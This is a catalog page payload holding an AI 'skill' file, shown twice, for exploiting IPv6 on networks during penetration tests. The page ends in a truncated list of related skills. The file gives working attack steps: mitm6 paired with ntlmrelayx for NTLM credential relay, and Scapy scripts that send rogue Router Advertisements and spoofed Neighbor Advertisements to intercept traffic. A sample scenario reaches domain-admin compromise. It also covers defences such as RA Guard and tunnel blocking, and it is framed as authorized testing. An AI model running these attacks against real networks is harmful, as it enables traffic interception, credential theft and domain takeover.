[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEP6ZCXBP7BZRQTFCM5086":3,"skill-same:01M6AEP6ZCXBP7BZRQTFCM5086":104},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":63,"commitSha":64,"skillDirectory":65,"forksCount":66,"repositoryHtmlUrl":67,"repositoryHomepageUrl":68,"ownerHtmlUrl":69,"ownerBlogUrl":70,"ownerDescription":71,"updatedAt":72,"install":73,"resources":86},"01M6AEP6ZCXBP7BZRQTFCM5086","exploiting-ipv6-vulnerabilities","IPv6 漏洞识别与利用","Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses.","在授权评估中识别并利用 IPv6 特有漏洞，包括 SLAAC 欺骗、路由器通告泛洪和 IPv6 隧道，以测试双栈安全控制和面向 IPv6 的网络防御。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-ipv6-vulnerabilities\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C7NMKVVN7CCC4BCVAW8B18","渗透测试与红队行动","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43],"vulnerabilities","exploiting ipv6 vulnerabilities","security","cybersecurity","test","pr","network","network-security","tunneling","ipv6","slaac","router-advertisement","dual-stack-security","2026-11-10 10:12:30",false,"---\nname: exploiting-ipv6-vulnerabilities\ndescription: 'Identifies and exploits IPv6-specific vulnerabilities including SLAAC\n  spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments\n  to test dual-stack security controls and IPv6-aware network defenses.\n\n  '\ndomain: cybersecurity\nsubdomain: network-security\ntags:\n- network-security\n- ipv6\n- slaac\n- router-advertisement\n- dual-stack-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.IR-01\n- DE.CM-01\n- ID.AM-03\n- PR.DS-02\nmitre_attack:\n- T1046\n- T1040\n- T1557\n- T1071\n---\n# Exploiting IPv6 Vulnerabilities\n\n## When to Use\n\n- Testing whether dual-stack networks have consistent security controls for both IPv4 and IPv6 traffic\n- Demonstrating risks from unmanaged IPv6 on networks where only IPv4 is officially supported\n- Exploiting SLAAC and Router Advertisement mechanisms to perform man-in-the-middle attacks via IPv6\n- Testing IPv6-aware firewall rules and IDS\u002FIPS detection for IPv6-specific attack patterns\n- Identifying IPv6 tunneling protocols (6to4, Teredo, ISATAP) that bypass IPv4-only security controls\n\n**Do not use** on production networks without written authorization, against systems where IPv6 disruption could cause safety issues, or for denial-of-service attacks against network infrastructure.\n\n## Prerequisites\n\n- Written authorization specifying IPv6 testing scope and approved techniques\n- Kali Linux with THC-IPv6 toolkit, Scapy, and mitm6 installed\n- Network interface with IPv6 support on the target network segment\n- Understanding of IPv6 addressing, SLAAC, NDP, and Router Advertisements\n- Wireshark for capturing and analyzing IPv6 traffic\n\n## Workflow\n\n### Step 1: Enumerate IPv6 on the Network\n\n```bash\n# Check if IPv6 is enabled on the local interface\nip -6 addr show\n\n# Discover IPv6 hosts on the local link using multicast\nping6 -c 3 ff02::1%eth0\n# ff02::1 = all-nodes multicast address\n\n# Use alive6 from THC-IPv6 toolkit to discover hosts\nsudo alive6 eth0\n\n# Scan for IPv6-enabled hosts with Nmap\nnmap -6 --script ipv6-multicast-mld-list -e eth0\nnmap -6 -sn --script targets-ipv6-multicast-echo -e eth0\n\n# Check for Router Advertisements on the network\nsudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'\n# Type 134 = Router Advertisement\n\n# Use radvdump to capture existing RAs\nsudo radvdump\n\n# Check for DHCPv6 servers\nsudo dhclient -6 -v eth0 --request-only\n```\n\n### Step 2: Perform SLAAC-Based MITM Attack with mitm6\n\n```bash\n# mitm6 exploits the default behavior of Windows machines to request\n# IPv6 configuration via DHCPv6 when a Router Advertisement is seen\n\n# Start mitm6 to become the IPv6 DNS server\nsudo mitm6 -d example.com -i eth0\n\n# mitm6 performs the following:\n# 1. Sends Router Advertisements to enable IPv6 on victims\n# 2. Responds to DHCPv6 requests, assigning itself as DNS server\n# 3. Victims now send DNS queries to the attacker over IPv6\n# 4. Attacker can respond with spoofed DNS replies\n\n# Combine with ntlmrelayx for credential relay\nsudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l \u002Ftmp\u002Floot\n\n# This exploits:\n# 1. WPAD (Web Proxy Auto-Discovery) via DNS\n# 2. Windows sends NTLM authentication to the WPAD proxy\n# 3. ntlmrelayx relays the credentials to target servers\n```\n\n### Step 3: Router Advertisement Spoofing\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Rogue Router Advertisement for authorized IPv6 testing.\"\"\"\n\nfrom scapy.all import *\nfrom scapy.layers.inet6 import *\n\n# Craft a Router Advertisement packet\n# This makes the attacker appear as the default IPv6 router\n\niface = \"eth0\"\nattacker_mac = get_if_hwaddr(iface)\nattacker_ipv6 = get_if_addr6(iface)\n\nra = (\n    Ether(dst=\"33:33:00:00:00:01\") \u002F  # All-nodes multicast\n    IPv6(src=attacker_ipv6, dst=\"ff02::1\") \u002F\n    ICMPv6ND_RA(\n        routerlifetime=1800,     # Advertise as router for 30 min\n        prf=1,                   # High preference\n        M=0,                     # No managed flag (use SLAAC)\n        O=1                      # Other config via DHCPv6 (DNS)\n    ) \u002F\n    ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) \u002F\n    ICMPv6NDOptPrefixInfo(\n        prefix=\"2001:db8:dead::\",  # Rogue prefix\n        prefixlen=64,\n        L=1,\n        A=1,\n        validlifetime=3600,\n        preferredlifetime=1800\n    ) \u002F\n    ICMPv6NDOptRDNSS(\n        dns=[attacker_ipv6],  # Attacker as DNS server\n        lifetime=1800\n    )\n)\n\nprint(f\"[*] Sending rogue Router Advertisement from {attacker_ipv6}\")\nprint(f\"[*] Advertising prefix 2001:db8:dead::\u002F64\")\nsendp(ra, iface=iface, count=5, inter=2)\nprint(\"[*] RA packets sent. Victims will configure IPv6 with rogue prefix.\")\n```\n\n### Step 4: IPv6 Neighbor Discovery Attacks\n\n```bash\n# Neighbor Advertisement spoofing (IPv6 equivalent of ARP spoofing)\n# Using THC-IPv6 parasite6 tool\nsudo parasite6 eth0\n\n# Or craft with Scapy\npython3 \u003C\u003C 'PYEOF'\nfrom scapy.all import *\nfrom scapy.layers.inet6 import *\n\n# Spoof Neighbor Advertisement to redirect traffic\ntarget_ipv6 = \"2001:db8::50\"    # Victim IPv6 address\ngateway_ipv6 = \"2001:db8::1\"    # Gateway IPv6 address\nattacker_mac = get_if_hwaddr(\"eth0\")\n\n# Tell the victim that we are the gateway\nna = (\n    Ether(dst=\"33:33:00:00:00:01\") \u002F\n    IPv6(src=gateway_ipv6, dst=\"ff02::1\") \u002F\n    ICMPv6ND_NA(\n        tgt=gateway_ipv6,\n        R=1, S=0, O=1  # Router flag, Override flag\n    ) \u002F\n    ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)\n)\n\nprint(\"[*] Sending spoofed Neighbor Advertisements...\")\nsendp(na, iface=\"eth0\", count=100, inter=1)\nPYEOF\n\n# Detect NDP spoofing with ndpmon\nsudo ndpmon -i eth0\n```\n\n### Step 5: IPv6 Tunnel Detection and Exploitation\n\n```bash\n# Detect Teredo tunnels (IPv6 over UDP port 3544)\nsudo tshark -i eth0 -Y \"udp.port == 3544\" -T fields -e ip.src -e ip.dst\n\n# Detect 6to4 tunnels (protocol 41)\nsudo tshark -i eth0 -Y \"ip.proto == 41\" -T fields -e ip.src -e ip.dst\n\n# Detect ISATAP tunnels\nsudo tshark -i eth0 -Y \"ip.proto == 41 and ipv6.dst contains \\\"::5efe:\\\"\" -c 10\n\n# Scan for Teredo-enabled hosts\nnmap -6 -sU -p 3544 --open 10.10.0.0\u002F24\n\n# Test if IPv6 tunnels bypass IPv4 firewall rules\n# If Teredo is allowed, IPv6 traffic can bypass IPv4-only firewalls\ncurl -6 http:\u002F\u002F[2001:db8::50]:8080\u002F  # Access via IPv6 tunnel\n\n# Block unwanted IPv6 tunnels at the firewall\n# iptables: block protocol 41 (6to4, ISATAP) and Teredo\nsudo iptables -A INPUT -p 41 -j DROP\nsudo iptables -A OUTPUT -p 41 -j DROP\nsudo iptables -A INPUT -p udp --dport 3544 -j DROP\nsudo iptables -A OUTPUT -p udp --dport 3544 -j DROP\n```\n\n### Step 6: Test IPv6 Firewall Rules and Document\n\n```bash\n# Verify ip6tables rules are in place\nsudo ip6tables -L -n -v\n\n# Test if IPv6 firewall mirrors IPv4 rules\n# Common oversight: IPv4 firewall is strict, IPv6 is wide open\nnmap -6 -sS -p- \u003Ctarget_ipv6_address>\n\n# Compare IPv4 and IPv6 scan results\nnmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan\nnmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan\ndiff \u003C(grep \"open\" ipv4_scan.nmap) \u003C(grep \"open\" ipv6_scan.nmap)\n\n# Check for IPv6 RA Guard on the switch\n# Cisco: show ipv6 snooping policies\n# If not enabled, document as finding\n\n# Clean up: stop all IPv6 attack tools\nsudo killall mitm6 parasite6 2>\u002Fdev\u002Fnull\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SLAAC (Stateless Address Autoconfiguration)** | IPv6 mechanism where hosts automatically configure addresses from Router Advertisements without a DHCP server, exploitable by rogue RA injection |\n| **Router Advertisement (RA)** | ICMPv6 message from routers announcing network prefixes, default gateway, and DNS configuration; rogue RAs enable MITM attacks |\n| **NDP (Neighbor Discovery Protocol)** | IPv6 replacement for ARP that uses ICMPv6 for address resolution, router discovery, and duplicate address detection; vulnerable to spoofing |\n| **mitm6** | Tool that exploits Windows DHCPv6 preference to become the IPv6 DNS server, enabling DNS spoofing and NTLM credential relay |\n| **RA Guard** | Switch-level security feature that filters rogue Router Advertisements, preventing unauthorized hosts from acting as IPv6 routers |\n| **IPv6 Tunneling** | Encapsulation of IPv6 packets within IPv4 (6to4, Teredo, ISATAP) that can bypass IPv4-only security controls and firewalls |\n\n## Tools & Systems\n\n- **mitm6**: IPv6 MITM tool that exploits SLAAC and DHCPv6 to become the DNS server for Windows hosts\n- **THC-IPv6 Toolkit**: Comprehensive IPv6 attack toolkit including alive6, parasite6, fake_router6, and flood tools\n- **Scapy**: Python packet manipulation for crafting custom ICMPv6 Router Advertisements and Neighbor Discovery packets\n- **ndpmon**: IPv6 Neighbor Discovery Protocol monitor that detects rogue RAs and NDP spoofing\n- **Nmap**: Network scanner with full IPv6 support including multicast discovery and IPv6-specific scripts\n\n## Common Scenarios\n\n### Scenario: Exploiting Unmanaged IPv6 on an IPv4-Only Enterprise Network\n\n**Context**: A company officially only uses IPv4 on their corporate network, but Windows workstations have IPv6 enabled by default. During an internal penetration test, the tester discovers that IPv6 is active on the VLAN and no IPv6 security controls (RA Guard, IPv6 ACLs) are deployed.\n\n**Approach**:\n1. Discover that all Windows workstations have link-local IPv6 addresses and are listening for Router Advertisements\n2. Run mitm6 to send DHCPv6 responses, becoming the IPv6 DNS server for all Windows hosts on the VLAN\n3. Configure ntlmrelayx to relay WPAD-triggered NTLM authentication to the domain controller\n4. Within 5 minutes, capture and relay NTLM credentials from 12 workstations, gaining access to file shares\n5. Successfully relay a domain admin's NTLM hash to create a new domain admin account\n6. Document that the lack of IPv6 security controls enabled full domain compromise without exploiting any traditional vulnerability\n7. Recommend disabling IPv6 where not needed, deploying RA Guard on switches, and blocking DHCPv6 at the firewall\n\n**Pitfalls**:\n- Flooding the network with Router Advertisements can cause instability on some devices\n- mitm6 affects all Windows hosts on the VLAN, not just the target -- ensure scope covers all potentially affected hosts\n- Some environments have IPv6-dependent services (SCCM, certain Azure services) that break when IPv6 is disrupted\n- Forgetting to check for IPv6 tunneling protocols that could provide alternative attack paths\n\n## Output Format\n\n```\n## IPv6 Security Assessment Report\n\n**Test ID**: IPV6-2024-001\n**Target Network**: VLAN 10 (10.10.10.0\u002F24, no official IPv6)\n**Assessment Date**: 2024-03-15\n\n### IPv6 Discovery\n\n| Finding | Details |\n|---------|---------|\n| IPv6 Enabled Hosts | 147\u002F150 workstations (Windows default) |\n| Link-Local Addresses | Active on all discovered hosts |\n| Router Advertisements | None detected (no IPv6 router) |\n| DHCPv6 Server | None present |\n| RA Guard | NOT configured on switches |\n| IPv6 Firewall Rules | NONE (ip6tables empty) |\n\n### Attack Results\n\n| Attack | Result | Impact |\n|--------|--------|--------|\n| mitm6 DNS Takeover | SUCCESS | Became IPv6 DNS for 147 hosts |\n| WPAD NTLM Relay | SUCCESS | Captured 23 NTLM authentications |\n| Domain Admin Relay | SUCCESS | Created rogue domain admin account |\n| IPv6 Port Scan | SUCCESS | All ports open (no ip6tables rules) |\n\n### Recommendations\n1. Deploy RA Guard on all access-layer switches (Critical)\n2. Configure IPv6 ACLs mirroring IPv4 firewall rules (Critical)\n3. Disable DHCPv6 client via Group Policy where IPv6 is not needed\n4. Block IPv6 tunneling protocols (6to4, Teredo) at the firewall\n5. Deploy IPv6-aware IDS rules for NDP spoofing detection\n```\n","# Exploiting IPv6 Vulnerabilities\n\n## When to Use\n\n- Testing whether dual-stack networks have consistent security controls for both IPv4 and IPv6 traffic\n- Demonstrating risks from unmanaged IPv6 on networks where only IPv4 is officially supported\n- Exploiting SLAAC and Router Advertisement mechanisms to perform man-in-the-middle attacks via IPv6\n- Testing IPv6-aware firewall rules and IDS\u002FIPS detection for IPv6-specific attack patterns\n- Identifying IPv6 tunneling protocols (6to4, Teredo, ISATAP) that bypass IPv4-only security controls\n\n**Do not use** on production networks without written authorization, against systems where IPv6 disruption could cause safety issues, or for denial-of-service attacks against network infrastructure.\n\n## Prerequisites\n\n- Written authorization specifying IPv6 testing scope and approved techniques\n- Kali Linux with THC-IPv6 toolkit, Scapy, and mitm6 installed\n- Network interface with IPv6 support on the target network segment\n- Understanding of IPv6 addressing, SLAAC, NDP, and Router Advertisements\n- Wireshark for capturing and analyzing IPv6 traffic\n\n## Workflow\n\n### Step 1: Enumerate IPv6 on the Network\n\n```bash\n# Check if IPv6 is enabled on the local interface\nip -6 addr show\n\n# Discover IPv6 hosts on the local link using multicast\nping6 -c 3 ff02::1%eth0\n# ff02::1 = all-nodes multicast address\n\n# Use alive6 from THC-IPv6 toolkit to discover hosts\nsudo alive6 eth0\n\n# Scan for IPv6-enabled hosts with Nmap\nnmap -6 --script ipv6-multicast-mld-list -e eth0\nnmap -6 -sn --script targets-ipv6-multicast-echo -e eth0\n\n# Check for Router Advertisements on the network\nsudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'\n# Type 134 = Router Advertisement\n\n# Use radvdump to capture existing RAs\nsudo radvdump\n\n# Check for DHCPv6 servers\nsudo dhclient -6 -v eth0 --request-only\n```\n\n### Step 2: Perform SLAAC-Based MITM Attack with mitm6\n\n```bash\n# mitm6 exploits the default behavior of Windows machines to request\n# IPv6 configuration via DHCPv6 when a Router Advertisement is seen\n\n# Start mitm6 to become the IPv6 DNS server\nsudo mitm6 -d example.com -i eth0\n\n# mitm6 performs the following:\n# 1. Sends Router Advertisements to enable IPv6 on victims\n# 2. Responds to DHCPv6 requests, assigning itself as DNS server\n# 3. Victims now send DNS queries to the attacker over IPv6\n# 4. Attacker can respond with spoofed DNS replies\n\n# Combine with ntlmrelayx for credential relay\nsudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l \u002Ftmp\u002Floot\n\n# This exploits:\n# 1. WPAD (Web Proxy Auto-Discovery) via DNS\n# 2. Windows sends NTLM authentication to the WPAD proxy\n# 3. ntlmrelayx relays the credentials to target servers\n```\n\n### Step 3: Router Advertisement Spoofing\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Rogue Router Advertisement for authorized IPv6 testing.\"\"\"\n\nfrom scapy.all import *\nfrom scapy.layers.inet6 import *\n\n# Craft a Router Advertisement packet\n# This makes the attacker appear as the default IPv6 router\n\niface = \"eth0\"\nattacker_mac = get_if_hwaddr(iface)\nattacker_ipv6 = get_if_addr6(iface)\n\nra = (\n    Ether(dst=\"33:33:00:00:00:01\") \u002F  # All-nodes multicast\n    IPv6(src=attacker_ipv6, dst=\"ff02::1\") \u002F\n    ICMPv6ND_RA(\n        routerlifetime=1800,     # Advertise as router for 30 min\n        prf=1,                   # High preference\n        M=0,                     # No managed flag (use SLAAC)\n        O=1                      # Other config via DHCPv6 (DNS)\n    ) \u002F\n    ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) \u002F\n    ICMPv6NDOptPrefixInfo(\n        prefix=\"2001:db8:dead::\",  # Rogue prefix\n        prefixlen=64,\n        L=1,\n        A=1,\n        validlifetime=3600,\n        preferredlifetime=1800\n    ) \u002F\n    ICMPv6NDOptRDNSS(\n        dns=[attacker_ipv6],  # Attacker as DNS server\n        lifetime=1800\n    )\n)\n\nprint(f\"[*] Sending rogue Router Advertisement from {attacker_ipv6}\")\nprint(f\"[*] Advertising prefix 2001:db8:dead::\u002F64\")\nsendp(ra, iface=iface, count=5, inter=2)\nprint(\"[*] RA packets sent. Victims will configure IPv6 with rogue prefix.\")\n```\n\n### Step 4: IPv6 Neighbor Discovery Attacks\n\n```bash\n# Neighbor Advertisement spoofing (IPv6 equivalent of ARP spoofing)\n# Using THC-IPv6 parasite6 tool\nsudo parasite6 eth0\n\n# Or craft with Scapy\npython3 \u003C\u003C 'PYEOF'\nfrom scapy.all import *\nfrom scapy.layers.inet6 import *\n\n# Spoof Neighbor Advertisement to redirect traffic\ntarget_ipv6 = \"2001:db8::50\"    # Victim IPv6 address\ngateway_ipv6 = \"2001:db8::1\"    # Gateway IPv6 address\nattacker_mac = get_if_hwaddr(\"eth0\")\n\n# Tell the victim that we are the gateway\nna = (\n    Ether(dst=\"33:33:00:00:00:01\") \u002F\n    IPv6(src=gateway_ipv6, dst=\"ff02::1\") \u002F\n    ICMPv6ND_NA(\n        tgt=gateway_ipv6,\n        R=1, S=0, O=1  # Router flag, Override flag\n    ) \u002F\n    ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)\n)\n\nprint(\"[*] Sending spoofed Neighbor Advertisements...\")\nsendp(na, iface=\"eth0\", count=100, inter=1)\nPYEOF\n\n# Detect NDP spoofing with ndpmon\nsudo ndpmon -i eth0\n```\n\n### Step 5: IPv6 Tunnel Detection and Exploitation\n\n```bash\n# Detect Teredo tunnels (IPv6 over UDP port 3544)\nsudo tshark -i eth0 -Y \"udp.port == 3544\" -T fields -e ip.src -e ip.dst\n\n# Detect 6to4 tunnels (protocol 41)\nsudo tshark -i eth0 -Y \"ip.proto == 41\" -T fields -e ip.src -e ip.dst\n\n# Detect ISATAP tunnels\nsudo tshark -i eth0 -Y \"ip.proto == 41 and ipv6.dst contains \\\"::5efe:\\\"\" -c 10\n\n# Scan for Teredo-enabled hosts\nnmap -6 -sU -p 3544 --open 10.10.0.0\u002F24\n\n# Test if IPv6 tunnels bypass IPv4 firewall rules\n# If Teredo is allowed, IPv6 traffic can bypass IPv4-only firewalls\ncurl -6 http:\u002F\u002F[2001:db8::50]:8080\u002F  # Access via IPv6 tunnel\n\n# Block unwanted IPv6 tunnels at the firewall\n# iptables: block protocol 41 (6to4, ISATAP) and Teredo\nsudo iptables -A INPUT -p 41 -j DROP\nsudo iptables -A OUTPUT -p 41 -j DROP\nsudo iptables -A INPUT -p udp --dport 3544 -j DROP\nsudo iptables -A OUTPUT -p udp --dport 3544 -j DROP\n```\n\n### Step 6: Test IPv6 Firewall Rules and Document\n\n```bash\n# Verify ip6tables rules are in place\nsudo ip6tables -L -n -v\n\n# Test if IPv6 firewall mirrors IPv4 rules\n# Common oversight: IPv4 firewall is strict, IPv6 is wide open\nnmap -6 -sS -p- \u003Ctarget_ipv6_address>\n\n# Compare IPv4 and IPv6 scan results\nnmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan\nnmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan\ndiff \u003C(grep \"open\" ipv4_scan.nmap) \u003C(grep \"open\" ipv6_scan.nmap)\n\n# Check for IPv6 RA Guard on the switch\n# Cisco: show ipv6 snooping policies\n# If not enabled, document as finding\n\n# Clean up: stop all IPv6 attack tools\nsudo killall mitm6 parasite6 2>\u002Fdev\u002Fnull\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SLAAC (Stateless Address Autoconfiguration)** | IPv6 mechanism where hosts automatically configure addresses from Router Advertisements without a DHCP server, exploitable by rogue RA injection |\n| **Router Advertisement (RA)** | ICMPv6 message from routers announcing network prefixes, default gateway, and DNS configuration; rogue RAs enable MITM attacks |\n| **NDP (Neighbor Discovery Protocol)** | IPv6 replacement for ARP that uses ICMPv6 for address resolution, router discovery, and duplicate address detection; vulnerable to spoofing |\n| **mitm6** | Tool that exploits Windows DHCPv6 preference to become the IPv6 DNS server, enabling DNS spoofing and NTLM credential relay |\n| **RA Guard** | Switch-level security feature that filters rogue Router Advertisements, preventing unauthorized hosts from acting as IPv6 routers |\n| **IPv6 Tunneling** | Encapsulation of IPv6 packets within IPv4 (6to4, Teredo, ISATAP) that can bypass IPv4-only security controls and firewalls |\n\n## Tools & Systems\n\n- **mitm6**: IPv6 MITM tool that exploits SLAAC and DHCPv6 to become the DNS server for Windows hosts\n- **THC-IPv6 Toolkit**: Comprehensive IPv6 attack toolkit including alive6, parasite6, fake_router6, and flood tools\n- **Scapy**: Python packet manipulation for crafting custom ICMPv6 Router Advertisements and Neighbor Discovery packets\n- **ndpmon**: IPv6 Neighbor Discovery Protocol monitor that detects rogue RAs and NDP spoofing\n- **Nmap**: Network scanner with full IPv6 support including multicast discovery and IPv6-specific scripts\n\n## Common Scenarios\n\n### Scenario: Exploiting Unmanaged IPv6 on an IPv4-Only Enterprise Network\n\n**Context**: A company officially only uses IPv4 on their corporate network, but Windows workstations have IPv6 enabled by default. During an internal penetration test, the tester discovers that IPv6 is active on the VLAN and no IPv6 security controls (RA Guard, IPv6 ACLs) are deployed.\n\n**Approach**:\n1. Discover that all Windows workstations have link-local IPv6 addresses and are listening for Router Advertisements\n2. Run mitm6 to send DHCPv6 responses, becoming the IPv6 DNS server for all Windows hosts on the VLAN\n3. Configure ntlmrelayx to relay WPAD-triggered NTLM authentication to the domain controller\n4. Within 5 minutes, capture and relay NTLM credentials from 12 workstations, gaining access to file shares\n5. Successfully relay a domain admin's NTLM hash to create a new domain admin account\n6. Document that the lack of IPv6 security controls enabled full domain compromise without exploiting any traditional vulnerability\n7. Recommend disabling IPv6 where not needed, deploying RA Guard on switches, and blocking DHCPv6 at the firewall\n\n**Pitfalls**:\n- Flooding the network with Router Advertisements can cause instability on some devices\n- mitm6 affects all Windows hosts on the VLAN, not just the target -- ensure scope covers all potentially affected hosts\n- Some environments have IPv6-dependent services (SCCM, certain Azure services) that break when IPv6 is disrupted\n- Forgetting to check for IPv6 tunneling protocols that could provide alternative attack paths\n\n## Output Format\n\n```\n## IPv6 Security Assessment Report\n\n**Test ID**: IPV6-2024-001\n**Target Network**: VLAN 10 (10.10.10.0\u002F24, no official IPv6)\n**Assessment Date**: 2024-03-15\n\n### IPv6 Discovery\n\n| Finding | Details |\n|---------|---------|\n| IPv6 Enabled Hosts | 147\u002F150 workstations (Windows default) |\n| Link-Local Addresses | Active on all discovered hosts |\n| Router Advertisements | None detected (no IPv6 router) |\n| DHCPv6 Server | None present |\n| RA Guard | NOT configured on switches |\n| IPv6 Firewall Rules | NONE (ip6tables empty) |\n\n### Attack Results\n\n| Attack | Result | Impact |\n|--------|--------|--------|\n| mitm6 DNS Takeover | SUCCESS | Became IPv6 DNS for 147 hosts |\n| WPAD NTLM Relay | SUCCESS | Captured 23 NTLM authentications |\n| Domain Admin Relay | SUCCESS | Created rogue domain admin account |\n| IPv6 Port Scan | SUCCESS | All ports open (no ip6tables rules) |\n\n### Recommendations\n1. Deploy RA Guard on all access-layer switches (Critical)\n2. Configure IPv6 ACLs mirroring IPv4 firewall rules (Critical)\n3. Disable DHCPv6 client via Group Policy where IPv6 is not needed\n4. Block IPv6 tunneling protocols (6to4, Teredo) at the firewall\n5. Deploy IPv6-aware IDS rules for NDP spoofing detection\n```\n",{"name":5,"tags":49,"author":50,"domain":34,"license":16,"version":51,"nist_csf":52,"subdomain":38,"description":57,"mitre_attack":58},[38,40,41,42,43],"mahipal","1.0",[53,54,55,56],"PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02","Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses.\n",[59,60,61,62],"T1046","T1040","T1557","T1071","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-ipv6-vulnerabilities",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":74,"prompt":84,"zipAvailable":85},[75,78,81],{"tool":76,"command":77},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-ipv6-vulnerabilities",{"tool":79,"command":80},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-ipv6-vulnerabilities",{"tool":82,"command":83},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-ipv6-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-ipv6-vulnerabilities\u002FSKILL.md",true,[87,92,98],{"path":88,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-ipv6-vulnerabilities\u002FLICENSE",{"path":93,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"references\u002Fapi-reference.md","REFERENCE","参考文档",1801,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-ipv6-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"scripts\u002Fagent.py","SCRIPT","脚本",6705,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-ipv6-vulnerabilities\u002Fscripts\u002Fagent.py",[105,135,164,196,227,258],{"skillNo":106,"name":107,"nameZh":108,"description":109,"descriptionZh":110,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":111,"categories":112,"keywords":117,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[113,114],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":115,"categoryName":116,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[118,119,120,121,33,34,122,123,36,124,125,126,127,128,129,130,131,132,133,134],"sigstore","provenance","slsa","verifying build provenance with slsa 